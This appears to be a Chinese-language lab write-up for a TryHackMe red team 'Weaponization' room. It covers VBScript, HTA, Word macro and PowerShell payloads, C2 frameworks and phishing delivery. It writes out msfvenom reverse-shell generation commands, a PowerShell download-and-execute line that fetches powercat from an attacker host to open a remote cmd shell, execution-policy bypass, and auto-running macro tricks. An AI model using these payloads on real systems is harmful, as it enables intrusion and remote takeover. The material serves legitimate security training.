Red Team Weaponization
武器化
簡介
武器化是網路殺傷鏈模型的第二階段。在此階段,攻擊者使用可交付的有效負載(例如 Word 文件、PDF 等)來產生並開發自己的惡意程式碼。武器化階段旨在使用惡意武器來利用目標機器並獲得初始存取權。
大多數組織都運行 Windows 作業系統,這將成為可能的目標。組織的環境策略通常會阻止下載和執行 .exe檔以避免安全性違規。因此,紅隊成員依賴建立透過各種管道發送的自訂有效負載,例如網路釣魚活動、社會工程、瀏覽器或軟體開發、USB 或 Web 方法。
大多數組織都會阻止或監視其受控環境中.exe檔的執行 。因此,紅隊成員依賴使用其他技術執行有效負載,例如內建 Windows 腳本技術
- Windows 腳本宿主 (WSH)
- HTML 應用程式 ( HTA )
- 可視化基本應用程式 (VBA)
- PowerShell(PSH)
紅隊工具包
網址
部署Windows機器
xfreerdp /v:10.10.234.142 /u:thm /p:TryHackM3 +clipboard
使用者名稱: thm 密碼 : TryHackM3
Windows 腳本宿主 - WSH
簡單腳本編寫(VBScript)
显示“Welcome to THM”消息的 Windows 消息框
编写一个简单的 VBScript 代码,用于创建一个显示“Welcome to THM”消息的 Windows 消息框
1 | Dim message |
在第一行中,我们使用 Dim 声明了一个名为 message 的变量。然后我们在 message 变量中存储了一个字符串值 “Welcome to THM”。在下一行中,我们使用 MsgBox 函数来显示变量的内容。然后,我们使用 wscript 来运行和执行 hello.vbs 的内容。结果,将会弹出一个带有 “Welcome to THM” 消息的 Windows 消息框。
Windows 原生引擎(WSH)执行 .exe 文件
VBScript 代码用于调用 Windows 计算器為例
1 | Set shell = WScript.CreateObject("WScript.Shell") |
Set shell = WScript.CreateObject(“WScript.Shell”)
这行代码创建了一个 WScript.Shell 对象,并将其赋值给变量 shell。WScript.Shell 是一个提供访问操作系统 shell 的对象。
shell.Run(“C:\Windows\System32\calc.exe”), 0, True
这行代码使用 shell 对象的 Run 方法来执行系统的计算器程序。
“C:\Windows\System32\calc.exe” 是计算器程序的完整路径,使用双反斜线 (\) 是因为在 VBScript 字符串中,单反斜线 () 作为转义字符的引导,所以路径分隔符需要用两个反斜线表示。
0 是 Run 方法的第二个参数,表示窗口的显示方式。在这个上下文中,0 表示隐藏窗口,但由于计算器是图形界面程序,它将正常显示。
True 是 Run 方法的第三个参数,它决定了 VBScript 是否应该等待程序执行完成才继续执行下一行代码。True 表示 VBScript 会等待计算器关闭,才继续执行。
VBS 文件被列入黑名单處理方式
1 | wscript /e:VBScript c:\Users\thm\Desktop\payload.txt |
这行命令使用 wscript,即 Windows Script Host 的图形版本,来执行一个重命名为 .txt 扩展名的 VBScript 脚本。通常,VBScript 脚本会以 .vbs 扩展名保存,但如果 .vbs 文件被系统的安全策略或防病毒软件列入黑名单,将文件扩展名更改为 .txt 可能是一种绕过这些限制的技巧。
命令的各部分含义如下:
wscript:执行 Windows 脚本宿主,提供用户界面(图形界面),用于运行脚本。
/e:VBScript:这个参数告诉 wscript 使用 VBScript 引擎执行后面指定的脚本文件。/e 参数用于指定要用于处理脚本的脚本引擎。
c:\Users\thm\Desktop\payload.txt:这是 VBScript 脚本文件的路径,位于用户 thm 的桌面上,文件名为 payload.txt。
HTML 應用程式 - HTA
簡介
HTA 代表“HTML 应用程序”。它允许你创建一个可下载的文件,该文件包含所有关于如何显示和渲染的信息。HTML 应用程序,也称为 HTAs,是包含 JScript 和 VBScript 的动态 HTML 页面。LOLBINS(活在土地上的二进制文件)工具 mshta 用于执行 HTA 文件。它可以自己执行,也可以通过 Internet Explorer 自动执行。
HTML应用程序(HTA)是一种微软的程序文件,它结合了网页设计语言HTML的灵活性和Windows应用程序的功能性。HTA文件是使用HTML和脚本语言(如VBScript或JScript)编写的,通常保存为.hta扩展名。与普通的网页不同,HTA在“受信任的”模式下运行,这意味着它们具有更多的权限,可以访问系统上的文件和设置等资源。
LOLBINS(活在土地上的二进制文件)指的是合法的系统工具,它们可以被用于恶意目的。mshta是一个LOLBIN,它可以用来执行HTA文件。mshta可以独立执行,也可以作为Internet Explorer的一部分自动执行。
在提到的示例中,ActiveXObject 是在 HTA 中用来创建和操作 COM 对象的机制。COM(组件对象模型)允许Windows组件进行交互,而 ActiveXObject 可以在 HTA 或浏览器中创建这些组件的实例。
範例
将在有效载荷中使用 ActiveXObject 作为概念验证来执行 cmd.exe
1 | <html> |
从 Web 服务器提供 payload.hta 文件,可執行以下程式碼開啟測試伺服器
1 | python3 -m http.server 8090 |
hta反向連接
生成腳本
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.232.37 LPORT=443 -f hta-psh -o thm.hta |
msfvenom:这是 Metasploit 框架的一部分,用于生成自定义恶意载荷。
-p windows/x64/shell_reverse_tcp:指定载荷类型。这里 -p 代表 “payload”,windows/x64/shell_reverse_tcp 是一个针对 Windows 64位系统的反向 TCP shell 载荷,当执行时会尝试从目标机器连接回攻击者指定的 IP 地址和端口。
LHOST=10.8.232.37:指定监听主机的 IP 地址(即攻击者的 IP 地址)。这是反向连接将会连接回的地址。
LPORT=443:指定监听端口。这是反向连接将会连接回的端口。在这个例子中,使用了 HTTPS 默认的端口号 443。
-f hta-psh:指定输出格式。这里 -f 代表 “format”,hta-psh 表示输出为 HTML 应用程序(HTA)文件,该文件将包含一个 PowerShell 脚本来执行 shell。
-o thm.hta:指定输出文件的名称和位置。这里 -o 代表 “output”,thm.hta 是文件的名称。
啟用監聽
1 | sudo nc -lvp 443 |
Visual Basic 應用程式 - VBA
簡介
VBA代表Visual Basic for Applications,這是一種由Microsoft實施的程式設計語言,用於諸如Microsoft Word、Excel、PowerPoint等Microsoft應用程序。VBA編程允許自動化用戶與Microsoft Office應用程序之間幾乎所有鍵盤和鼠標互動的任務。
示範
打開word開啟新文件→view→macros
打上名稱後按ENTER,在中間框中打入程式,例如
1 | Sub THM() |
按下執行
Microsoft Word 文檔打開時自動執行
希望在 Microsoft Word 文檔打開時自動執行某些動作時,可以利用特定的事件處理函數來實現這一點。常用的兩個事件處理函數是 AutoOpen 和 Document_Open。
AutoOpen
AutoOpen 是一個在 Word 文檔打開時自動被調用的傳統宏。當任何文檔被打開時,如果文檔或其模板中存在名為 AutoOpen 的宏,Word 將自動執行它。
Document_Open
AutoOpen 是一個在 Word 文檔打開時自動被調用的傳統宏。當任何文檔被打開時,如果文檔或其模板中存在名為 AutoOpen 的宏,Word 將自動執行它。
示範
1 | Sub Document_Open() |
要使宏正常工作,我們需要將文件保存為支持宏的格式,例如 .doc 和 .docm。現在,讓我們將文件保存為啟用宏的 Word 97-2003 模板,方法是前往「檔案」→「保存Document1」,然後在「另存為類型」中選擇「Word 97-2003 文檔」,最後保存。
當每次重啟word時都會執行此程式
Microsoft Word 文檔打開時自動執行程式
1 | Sub PoC() |
Sub PoC():這一行定義了一個名為 PoC 的新子程序。Sub 是 Subroutine(子程序)的縮寫,用於在 VBA 中定義一個程序塊,可以在其他地方被調用。
Dim payload As String:這行代碼使用 Dim 關鍵字來聲明一個名為 payload 的變量,類型為 String(字符串)。這裡,payload 將用來存儲要執行的命令或文件名。
payload = “calc.exe”:將字符串 “calc.exe” 賦值給變量 payload。這表示 payload 變量將用來指向計算器應用程序的可執行文件。
CreateObject(“Wscript.Shell”).Run payload,0:這行代碼是實際執行操作的關鍵。它使用 CreateObject 函數創建了一個 Wscript.Shell 對象。Wscript.Shell 是一個可提供對 Windows Shell 的訪問的對象,允許 VBA 執行外部應用程序。
.Run payload,0 方法用於執行 payload 變量中指定的命令。在這個例子中,它執行 calc.exe,即 Windows 的計算器。
方法的第二個參數 0 表示計算器應用程序在背景執行,並且不顯示任何窗口。
End Sub:這行代碼表示子程序的結束。
後將此代碼加入AutoOpen()和Document_Open()函數裡
1 | Sub PoC() |
利用msf生成反向連接代碼並連接word
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=111.250.150.71 LPORT=443 -f vba |
將產生的代碼插入word中並將Workbook_Open() 改為 Document_Open()
原始生成的代碼是為 Microsoft Excel 設計的,因此它使用的是 Workbook_Open() 事件處理函數。這個函數是在 Excel 工作簿(Workbook)打開時觸發的。
PowerShell - PSH
簡介
PowerShell 是一種從 .NET 的動態語言運行時(DLR)執行的面向對象的編程語言,但在某些遺留用途中有所例外。紅隊成員依靠 PowerShell 執行各種活動,包括初始訪問、系統枚舉等等。
顯示 “Welcome to the Weaponization Room!”
創建腳本
創建一個簡單的 PowerShell 腳本開始,該腳本將顯示 “Welcome to the Weaponization Room!”
1 | Write-Output "Welcome to the Weaponization Room!" |
將文件保存為 thm.ps1。
執行腳本
在powershell裡輸入
1 | powershell -File thm.ps1 |
PowerShell 的執行策略是一種安全選項,用於保護系統免受惡意腳本的運行。為了安全起見,Microsoft 默認禁止執行 PowerShell 腳本(.ps1 文件)。PowerShell 的執行策略設定為「Restricted」(受限),這意味著它允許單個命令的執行,但不允許運行任何腳本。
查看powershell執行腳本設定
1 | Get-ExecutionPolicy |
更改設定
1 | Set-ExecutionPolicy -Scope CurrentUser RemoteSigned |
Set-ExecutionPolicy:這是用來設定 PowerShell 的執行策略的命令。
-Scope CurrentUser:這個選項指定命令的作用範圍僅限於當前用戶。這意味著這個政策變更只會影響當前用戶的會話和未來的會話,而不影響其他用戶。
RemoteSigned:這是要設定的執行策略類型。它允許執行本地創建的腳本而不需任何簽名,但要求從外部來源(例如互聯網)下載的腳本必須有一個有效的數字簽名。
數字簽名的作用
數字簽名用於驗證腳本的完整性和來源,確保腳本自簽名以來未被更改,並且確認腳本的作者或發佈者是信任的實體。數字簽名是利用公鑰基礎設施(PKI)技術來實現的,其中包括使用證書來證明簽名者的身份。
更改完後執行腳本
也可用此命令繞過限制
1 | powershell -ex bypass -File thm.ps1 |
powershell:這是啟動 PowerShell 的命令。
-ex bypass:
-ex 是 -ExecutionPolicy 的縮寫,這是用來設定腳本執行策略的參數。
bypass 表示設置執行策略為繞過(bypass),即忽略任何執行策略的限制,允許所有 PowerShell 腳本執行。這對於測試或在受控環境中運行未簽名的腳本很有用。
-File thm.ps1:
-File 是一個參數,指定要執行的 PowerShell 腳本文件。
thm.ps1 是腳本文件的名稱,此命令告訴 PowerShell 執行當前目錄下名為 thm.ps1 的文件。
獲取反向 shell
下載powershell
powercat
1 | git clone https://github.com/besimorhino/powercat.git |
進入克隆下來的目錄
1 | cd powercat |
開啟網站伺服器
1 | python3 -m http.server 8080 |
監聽想要的端口
1 | nc -lvp 1337 |
在受害主機的powshell執行
1 | powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.212.101:8080/powercat.ps1');powercat -c 192.168.212.101 -p 1337 -e cmd" |
powershell:這是啟動 PowerShell 的命令。
-c:這個參數表示要執行的命令為一個字符串(command string)。
“IEX(New-Object System.Net.WebClient).DownloadString(‘http://ATTACKBOX_IP:8080/powercat.ps1')":這部分命令做了以下幾件事:
New-Object System.Net.WebClient:創建一個新的 WebClient 物件,用於從網絡上下載文件。
.DownloadString(‘http://ATTACKBOX_IP:8080/powercat.ps1'):利用 WebClient 物件從指定的 URL 下載 powercat.ps1 腳本的字符串內容。這個 URL 指向攻擊機上運行的 web 服務器,端口為 8080。
IEX (Invoke-Expression):執行從網絡上下載的字符串內容作為 PowerShell 腳本。這使得下載的 powercat.ps1 腳本立即在本地執行。
;:這是命令分隔符,用於在一行內分隔多個 PowerShell 命令。
powercat -c ATTACKBOX_IP -p 1337 -e cmd:這是 powercat.ps1 腳本的一個功能,用於建立反向 shell:
-c ATTACKBOX_IP:指定連線目標 IP 地址,即攻擊機的 IP 地址。
-p 1337:指定連線目標的端口號,此例中為 1337。
-e cmd:指定當連線建立後,要執行的程序,這裡是 Windows 的命令提示符(cmd)。
成果
命令與控制 -(C2 或 C&C)
什麼是指揮與控制(C2)?
C2 框架是在滲透後階段被用來允許紅隊成員合作和控制受損計算機的框架。在進行網絡攻擊行動中,C2 被認為是紅隊成員最重要的工具之一。C2 框架提供了快速而簡便的方法來進行以下幾點:
- 生成各種惡意負載
使用 Metasploit 框架生成特定於目標系統漏洞的 Shellcode。例如,透過 msfvenom 工具生成一個針對 Windows 10 的 Meterpreter 逆向連接 shell,該 shell 能夠在被攻擊的系統上靜默執行並提供遠程控制。
- 枚舉受損的計算機/網絡
使用 PowerShell Empire 進行內網掃描,識別網絡中的其他活動主機、開放的端口和運行的服務。這可以幫助確定進一步攻擊的潛在目標。
- 執行權限提升和橋接
如果初始的 shell 是以普通用戶權限獲得的,可以利用 Cobalt Strike 提供的各種提權 Exploit,如不當權限配置或系統漏洞,來獲得系統級別的訪問權限。
- 橫向移動
旦獲得一台機器的控制權,紅隊可以使用像是 Pass-the-Hash(PtH)攻擊技術來訪問相同網絡中的其他機器。Cobalt Strike 和 Metasploit 都提供了進行橫向移動的工具和技術,例如利用已獲得的憑證來遠程執行命令或部署惡意軟件到其他電腦上。
Pass-the-Hash(PtH)
哈希的獲得:
攻擊者首先需要從一台計算機上獲得用戶賬戶的哈希值。這可以通過多種方法實現,包括但不限於利用系統漏洞、惡意軟件感染或直接從系統檔案(如SAM文件)或記憶體中提取。
使用哈希進行身份驗證:
一旦獲得哈希,攻擊者可以使用這些哈希來嘗試登錄到網絡中的其他機器。在 Windows 環境中,NTLM 身份驗證過程允許使用用戶的 NTLM 哈希進行身份驗證,而不需要明文密碼。
訪問網絡資源:
成功使用哈希進行身份驗證後,攻擊者可以訪問其他計算機、服務或資料,就如同他們擁有那些用戶的實際密碼一樣。
常用C2框架
Cobalt Strike
Cobalt Strike 是一款商業框架,專注於對手模擬和紅隊行動。它結合了遠程訪問工具、滲透後能力以及獨特的報告系統。它提供了一個代理,擁有先進的技術來建立隱蔽的通信並執行各種操作,包括鍵盤記錄、文件上傳和下載、VPN部署、權限提升技術、Mimikatz、端口掃描以及最先進的橫向移動。
PowerShell Empire
PowerShell Empire 是一個開源框架,它幫助紅隊操作員和滲透測試人員通過使用密鑰和共享密碼在多個服務器之間進行協作。它是基於 PowerShell 和 Python 代理的利用框架。PowerShell Empire 專注於 Windows 和 Active Directory 環境的客戶端和滲透後的利用。
Metasploit
Metasploit 是一個廣泛使用的滲透測試框架,提供各種技術和工具以便輕鬆進行黑客攻擊。它是一個開源框架,被認為是滲透測試和紅隊行動的主要工具之一。Metasploit 是我們在此房間中使用的工具之一,用來生成我們武器化階段的負載。
交付技巧
交付技術是獲得初始訪問的重要因素之一。他們必須讓受害者看起來專業、合法、令人信服,才能貫徹執行內容。
電子郵件傳送
使用電子郵件傳遞負載是一種常見的方法,通常是通過發送含有鏈接或附件的釣魚郵件來實現。這種方法附加了一個惡意文件,可能是我們之前提到的類型。其目的是說服受害者訪問惡意網站或下載並運行惡意文件,以便獲得對受害者網絡或主機的初始訪問權限。
紅隊成員應擁有自己用於釣魚的基礎設施。根據紅隊活動的要求,需要在電子郵件服務器內設置各種選項,包括域密鑰確認郵件(DKIM)、發送者政策框架(SPF)和DNS指針(PTR)記錄。
紅隊成員還可以使用具有良好聲譽的第三方電子郵件服務,如 Google Gmail、Outlook、Yahoo 等。
另一個有趣的方法是使用公司內部的被攻破的電子郵件帳戶來向公司內部或其他人發送釣魚郵件。被攻破的電子郵件可能是通過釣魚或其他技術如密碼噴霧攻擊被黑的。
網頁傳遞
紅隊成員控制的網絡服務器上托管惡意負載。網絡服務器必須遵循安全指南,例如其域名擁有清潔的記錄和聲譽,以及TLS(傳輸層安全)證書。
也就是紅隊成員可以將惡意軟體或負載放置在由他們控制的網路伺服器上。為了確保這個方法的成功,這個網路伺服器需要符合一些安全指南,比如它的域名需要有一個良好的記錄和聲譽,並且需要擁有一個有效的 TLS(傳輸層安全)證書。這樣做的目的是為了讓受害者感覺這個網站是可信的,從而誘使他們訪問或下載這些惡意負載。
這種方法包括其他技術,如社交工程手段誘使受害者訪問或下載惡意文件。在使用這種方法時,URL縮短器可能會很有幫助。
在這種方法中,可以結合並使用其他技術。攻擊者可以利用零日漏洞,例如利用易受攻擊的軟體如Java或瀏覽器,將它們用於釣魚郵件或網頁傳遞技術中,以獲得對受害者機器的訪問權限。
USB 交付
這種方法需要受害者在物理上插入惡意的 USB。這種方法在會議或活動中可能會非常有效和有用,因為對手可以在那裡分發 USB。
通常,組織會建立強有力的政策,例如出於安全考量,在其組織環境中禁用 USB 使用。而其他組織則允許在目標環境中使用 USB。
用於武器化 USB 設備的常見 USB 攻擊包括 Rubber Ducky 和 USBHarpoon,以及像 O.MG Cable 這樣的充電 USB 線。
小試身手
題目
我们已经准备了一台运行Windows 10的计算机,上面运行着一个用户模拟Web应用程序,用于自动执行你的有效载荷或访问恶意的HTA链接。部署附带的机器,并等待几分钟直到它启动并运行。然后,访问位于 http://MACHINE_IP:8080/ 的用户模拟Web应用程序。
Web应用程序允许上传VBS、DOC、PS1文件格式的有效载荷。此外,如果你提供一个恶意的HTA链接,Web应用程序将访问你的链接。
关于Doc文件的注意事项:在提供的Windows 10机器上使用的模拟将打开恶意Word文档,并在90秒内关闭。为了获得更长的存在时间,你需要在收到连接后尽快进行迁移。
在Metasploit框架中,我们可以使用迁移(migrate)功能将当前进程注入到受害机器上的另一个进程中。在我们的案例中,我们需要将当前的进程,即MS Word文档,迁移到另一个进程中,以使连接在MS Word文档关闭后仍保持稳定。最简单的方法是使用以下的迁移后模块(migrate post-module),
writeup
利用msf創建一個hta的後門程式
將程式代碼附近到word裡的巨集並儲存
啟用msf監聽
1 | msfconsole -q |
將word檔上傳到受害機
轉移對話
1 | run post/windows/manage/migrate |
尋找使用者桌面資料找到flag











